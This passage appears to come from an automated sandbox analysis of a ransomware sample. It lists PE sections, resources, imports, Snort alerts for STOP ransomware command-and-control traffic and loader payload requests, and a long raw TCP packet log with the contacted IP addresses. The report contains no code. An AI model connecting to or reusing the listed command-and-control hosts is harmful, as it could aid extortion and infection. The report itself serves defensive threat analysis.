.text	0x1000	0x101e5	0x10200	9c4c42636f57cc886aa30d5036721c11	False	0.603015988372093	data	6.732745697261165	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x871e	0x8800	1e09fdb8ec602efe995940b850da4788	False	0.4509420955882353	data	5.094969969380544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x3c85d88	0x98400	80512fd0e3132437ad6dcd4669b789b4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3ca1000	0xd808	0xda00	30a2d367fc1d414dfc0c3b6addd1b29d	False	0.5070957568807339	data	5.3963106259087175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3cade68	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x3cade78	0xe	data			1.5714285714285714
RT_ICON	0x3ca14d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5634328358208955
RT_ICON	0x3ca2378	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5509927797833934
RT_ICON	0x3ca2c20	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.611271676300578
RT_ICON	0x3ca3188	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4612033195020747
RT_ICON	0x3ca5730	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4861632270168856
RT_ICON	0x3ca67d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.49385245901639346
RT_ICON	0x3ca7160	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.4521276595744681
RT_ICON	0x3ca7630	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4189765458422175
RT_ICON	0x3ca84d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47653429602888087
RT_ICON	0x3ca8d80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5766129032258065
RT_ICON	0x3ca9448	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.47760115606936415
RT_ICON	0x3ca99b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46898340248962656
RT_ICON	0x3cabf58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4842870544090056
RT_ICON	0x3cad000	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5024590163934426
RT_ICON	0x3cad988	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5593971631205674
RT_STRING	0x3cae070	0x3d2	data	Romanian	Romania	0.46319018404907975
RT_STRING	0x3cae448	0x3bc	data	Romanian	Romania	0.4592050209205021
RT_GROUP_ICON	0x3ca75c8	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3caddf0	0x76	data	Romanian	Romania	0.6779661016949152
RT_VERSION	0x3cade88	0x1e4	data			0.5392561983471075

Imports

DLL	Import
KERNEL32.dll	GetLocaleInfoA, FindResourceExW, LocalCompact, InterlockedDecrement, GetComputerNameW, CreateHardLinkA, BackupSeek, GetTickCount, GetConsoleAliasesA, GetWindowsDirectoryA, EnumTimeFormatsA, GetUserDefaultLangID, SetCommState, LoadLibraryW, ReadConsoleInputA, WriteConsoleW, GetModuleFileNameW, MultiByteToWideChar, GetTempPathW, GlobalMemoryStatus, ChangeTimerQueueTimer, SetLastError, GetThreadLocale, GetProcAddress, SetFileAttributesA, BuildCommDCBW, LoadLibraryA, LocalAlloc, GetExitCodeThread, AddAtomW, RemoveDirectoryW, GlobalFindAtomW, GetOEMCP, LoadLibraryExA, VirtualProtect, SetCalendarInfoA, GetConsoleProcessList, GetVolumeInformationW, GetLastError, GetSystemDefaultLangID, GetStringTypeW, HeapAlloc, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, HeapFree, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, GetStdHandle, WriteFile, GetProcessHeap, EnterCriticalSection, LeaveCriticalSection, FlushFileBuffers, GetConsoleCP, GetConsoleMode, DeleteCriticalSection, HeapSize, GetFileType, GetStartupInfoW, CloseHandle, GetCurrentThreadId, GetModuleFileNameA, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, OutputDebugStringW, SetStdHandle, SetFilePointerEx, HeapReAlloc, LCMapStringW, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/24/24-18:52:00.252701	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49735	80	192.168.2.4	211.171.233.129
04/24/24-18:52:02.745238	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49736	80	192.168.2.4	211.171.233.129
04/24/24-18:52:00.082810	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49733	80	192.168.2.4	189.143.202.242
04/24/24-18:52:00.082810	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49733	80	192.168.2.4	189.143.202.242
04/24/24-18:52:01.154757	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49735	211.171.233.129	192.168.2.4
04/24/24-18:52:02.745238	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49736	80	192.168.2.4	211.171.233.129
04/24/24-18:52:01.154654	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49734	211.171.233.129	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 18:51:52.089509010 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:52.089543104 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:52.089626074 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:52.109723091 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:52.109757900 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:52.448946953 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:52.449033022 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:52.776283026 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:52.776314020 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:52.776659966 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:52.776721001 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:52.781671047 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:52.828116894 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:53.367391109 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:53.367484093 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:53.367500067 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:53.367510080 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:53.367549896 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:53.369390011 CEST	49730	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:53.369398117 CEST	443	49730	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:54.653156996 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:54.653270960 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:54.653369904 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:54.667479038 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:54.667516947 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:54.997704029 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:54.997807980 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.020591974 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.020657063 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.021414995 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.021471977 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.023515940 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.064142942 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.556984901 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.557027102 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.557090044 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.568152905 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.568190098 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.771362066 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.771418095 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.771455050 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.771497965 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.771507978 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.771529913 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.771543980 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.771569967 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.771806955 CEST	49731	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.771826029 CEST	443	49731	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.902167082 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.902251959 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.907293081 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.907304049 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.907646894 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:55.907701969 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.909636021 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:55.956116915 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:56.684289932 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:56.684389114 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:56.684418917 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:56.684448957 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:56.684462070 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:56.684493065 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:56.684636116 CEST	49732	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:51:56.684653997 CEST	443	49732	172.67.139.220	192.168.2.4
Apr 24, 2024 18:51:59.855886936 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:51:59.940593004 CEST	49735	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:51:59.940603018 CEST	49734	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:00.081896067 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.082129002 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.082809925 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.252281904 CEST	80	49735	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:00.252334118 CEST	80	49734	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:00.252407074 CEST	49735	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:00.252460003 CEST	49734	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:00.252662897 CEST	49734	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:00.252701044 CEST	49735	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:00.363703012 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.762029886 CEST	80	49734	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:00.766979933 CEST	80	49735	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:00.767532110 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.767574072 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.767611980 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.767704010 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.768894911 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.768934011 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.768961906 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.768992901 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.988188028 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.988348007 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.988368988 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.988456964 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.988559008 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.988672018 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.988718987 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.988749027 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.995872974 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.995918036 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.995956898 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:00.995965958 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.996026039 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:00.996026039 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.154654026 CEST	80	49734	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:01.154720068 CEST	80	49734	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:01.154757023 CEST	80	49735	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:01.154791117 CEST	49734	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:01.154793978 CEST	80	49735	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:01.154860020 CEST	49734	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:01.154872894 CEST	49735	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:01.154874086 CEST	49735	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:01.154959917 CEST	49735	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:01.154969931 CEST	49734	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:01.214787006 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.214829922 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.214880943 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.214884996 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.214936018 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.214936018 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.214962006 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.215001106 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.215014935 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.215051889 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.215055943 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.215116024 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.215158939 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.215197086 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.215215921 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.215267897 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.223231077 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.223294020 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.223381042 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.223419905 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.223438978 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.223474979 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.223850012 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.223887920 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.223908901 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.223926067 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.223938942 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.223978996 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435148954 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435203075 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435225010 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435241938 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435261011 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435281038 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435283899 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435322046 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435327053 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435359955 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435379028 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435396910 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435403109 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435436964 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435437918 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435481071 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435503006 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435543060 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.435610056 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.435655117 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.436798096 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.436908960 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.443892956 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.443933010 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.443947077 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.443978071 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.443994999 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444042921 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.444118977 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444166899 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.444190025 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444236994 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.444305897 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444343090 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444355011 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.444381952 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444381952 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.444428921 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.444483995 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444523096 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444533110 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.444564104 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.444623947 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.444675922 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.453363895 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.453406096 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.453425884 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.453449965 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.453461885 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.453500032 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.453516006 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.453540087 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.453557968 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.453579903 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.453592062 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.453629971 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.469923019 CEST	80	49735	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:01.470112085 CEST	80	49734	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:01.659241915 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659321070 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659333944 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659363985 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659389973 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659401894 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659416914 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659441948 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659460068 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659497976 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659598112 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659650087 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659656048 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659688950 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659724951 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659724951 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659748077 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659776926 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659835100 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.659905910 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.659940958 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.660017014 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.668823004 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.668863058 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.668895960 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.668919086 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.668926001 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.668966055 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.668979883 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669028044 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669039965 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.669076920 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.669095993 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669133902 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669182062 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.669220924 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.669241905 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669259071 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.669270992 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669296980 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.669312954 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669353962 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669367075 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.669447899 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.669469118 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.669508934 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.677200079 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.677263975 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.677778959 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.677835941 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.677861929 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.677913904 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.677916050 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.677967072 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.678013086 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.678076982 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.678106070 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.678124905 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.678162098 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.678204060 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.678219080 CEST	80	49733	189.143.202.242	192.168.2.4
